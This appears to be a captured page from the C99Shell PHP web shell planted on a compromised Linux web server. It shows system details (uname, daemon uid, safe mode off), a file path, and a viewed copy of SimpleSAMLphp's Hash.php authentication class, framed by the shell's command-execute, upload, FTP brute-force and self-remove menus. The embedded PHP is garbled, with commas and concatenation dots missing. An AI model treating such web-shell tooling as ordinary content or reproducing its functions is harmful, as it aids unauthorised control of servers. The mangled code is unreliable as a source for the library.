!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/authcrypt/lib/Auth/Source/   drwxr-xr-x
Free 13.65 GB of 61.93 GB (22.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Hash.php (2.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Authentication source for username & hashed password.
 *
 * This class is an authentication source which stores all username/hashes in an array,
 * and authenticates users against this array.
 *
 * @author Dyonisius Visser, TERENA.
 * @package simpleSAMLphp
 * @version $Id$
 */
class sspmod_authcrypt_Auth_Source_Hash extends sspmod_core_Auth_UserPassBase {


    
/**
     * Our users, stored in an associative array. The key of the array is "<username>:<passwordhash>",
     * while the value of each element is a new array with the attributes for each user.
     */
    
private $users;


    
/**
     * Constructor for this authentication source.
     *
     * @param array $info  Information about this authentication source.
     * @param array $config  Configuration.
     */
    
public function __construct($info$config) {
        
assert('is_array($info)');
        
assert('is_array($config)');

        
/* Call the parent constructor first, as required by the interface. */
        
parent::__construct($info$config);

        
$this->users = array();

        
/* Validate and parse our configuration. */
        
foreach ($config as $userpass => $attributes) {
            if (!
is_string($userpass)) {
                throw new 
Exception('Invalid <username>:<passwordhash> for authentication source ' .
                    
$this->authId ': ' $userpass);
            }

            
$userpass explode(':'$userpass2);
            if (
count($userpass) !== 2) {
                throw new 
Exception('Invalid <username>:<passwordhash> for authentication source ' .
                    
$this->authId ': ' $userpass[0]);
            }
            
$username $userpass[0];
            
$passwordhash $userpass[1];

            try {
                
$attributes SimpleSAML_Utilities::parseAttributes($attributes);
            } catch(
Exception $e) {
                throw new 
Exception('Invalid attributes for user ' $username .
                    
' in authentication source ' $this->authId ': ' .
                    
$e->getMessage());
            }

            
$this->users[$username ':' $passwordhash] = $attributes;
        }
    }


    
/**
     * Attempt to log in using the given username and password.
     *
     * On a successful login, this function should return the users attributes. On failure,
     * it should throw an exception. If the error was caused by the user entering the wrong
     * username OR password, a SimpleSAML_Error_Error('WRONGUSERPASS') should be thrown.
     *
     * The username is UTF-8 encoded, and the hash is base64 encoded.
     *
     * @param string $username  The username the user wrote.
     * @param string $password  The password the user wrote.
     * @return array  Associative array with the users attributes.
     */
    
protected function login($username$password) {
        
assert('is_string($username)');
        
assert('is_string($password)');

        foreach(
$this->users as $userpass=>$attrs) {
            
$matches explode(':'$userpass2);
            if (
$matches[0] === $username) {
                if(
SimpleSAML_Utils_Crypto::pwValid($matches[1], $password)) {
                    return 
$this->users[$userpass];
                } else {
                    
SimpleSAML_Logger::debug('Incorrect password "' $password '" for user '$username);
                }
            }
        }
        throw new 
SimpleSAML_Error_Error('WRONGUSERPASS');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4837 ]--